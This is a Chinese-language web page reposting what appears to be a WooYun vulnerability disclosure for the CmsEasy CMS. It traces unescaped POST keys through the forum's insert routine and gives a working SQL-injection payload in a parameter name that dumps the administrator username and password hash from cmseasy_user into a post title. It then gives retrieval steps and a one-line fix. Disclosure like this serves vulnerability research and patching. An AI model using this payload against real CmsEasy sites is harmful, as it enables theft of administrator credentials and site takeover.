网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

cmseasy最新版SQL注入一枚(直接出数据无视360websc

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 真的不是针对,厂家不要介意,赶紧确认我另外两个吧,感谢!无视360webscan。版本:20140605漏洞与 WooYun: CmsEasy最新 V5 5-UTF8 正式版多处漏洞打包 重复。注入函数在 bbs add-archive php,if(i...

真的不是针对,厂家不要介意,赶紧确认我另外两个吧,感谢!
无视360webscan。
版本:20140605

漏洞与 WooYun: CmsEasy最新 V5.5-UTF8 正式版多处漏洞打包 重复。

注入函数在/bbs/add-archive.php,
 

if(isset($_POST['submit'])){
    if(strtolower(trim($_POST['verify'])) != strtolower($_SESSION['verify'])){
          //action_public::turnPage('index.php','验证码输入错误!');
    }
      $archive = db_bbs_archive::getInstance();
      
      unset($_POST['submit']);
      unset($_POST['verify']);

      $_POST['username'] = $_COOKIE['login_username'];
      $_POST['userid'] = $admin->userid;
      $_POST['ip'] = $_SERVER['REMOTE_ADDR'];
      $_POST['addtime'] = mktime();

      if($id = $archive->inserData($_POST)){
          action_public::turnPage('archive-display.php?aid='.$id,'文章添加成功');
      }else{
        action_public::turnPage('index.php','添加失败,请联系我们!');
      }
  }



关注这句话$archive->inserData($_POST),直接把$_POST放入了inserData函数,我们进去看看:
 

public function inserData($data){
       $r = $this->odb->insert($this->tblName,$data);
       if($r)
           return $this->odb->getInsertId();
       else
           return false;
}



继续跟进:
 

public function insert($table, $data)
{
$sql = $this->getInsertString($table, $data);
return $this->execSql($sql);
}



继续跟进:
 

public function getInsertString($table, $data)
{
$n_str = '';
$v_str = '';
$table = $this->filterString($table);
foreach ($data as $k => $v)
{
$n_str .= $this->filterString($k).',';
$v_str .= "'".$this->filterString($v)."',";
}
$n_str = preg_replace( "/,$/", "", $n_str );
$v_str = preg_replace( "/,$/", "", $v_str );
$str = 'INSERT INTO '.$table.' ('.$n_str.') VALUES('.$v_str.')';
return $str;
}



这个函数实际上就是一个insert语句。其中调用filterString对数据进行过滤。但只是加转义单引号而已,而注入语句中的key并没有过滤。

POST的时候,将注入语句放在KEY的位置,就能注入了。

详见漏洞证明。

 

到/bbs,发表帖子,抓包。

增加一个POST参数,参数名是:
 

username)/**/values((select/**/concat(username,0x23,password)/**/from/**/cmseasy_user/**/limit/**/0,1),2,3,4,5,6)#



值随意。效果图如下:
 

07.jpg



发送即可。然后数据库中可以看到一篇帖子的title被注入成管理员密码:
 

08.jpg



它的aid是8,那么我们只要访问http://localhost/easy/bbs/archive-display.php?aid=8即可看到结果:
 

09.jpg



我们不知道aid是多少的时候,遍历一下就行了。

修复方案:

value要过滤,key也要过滤

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论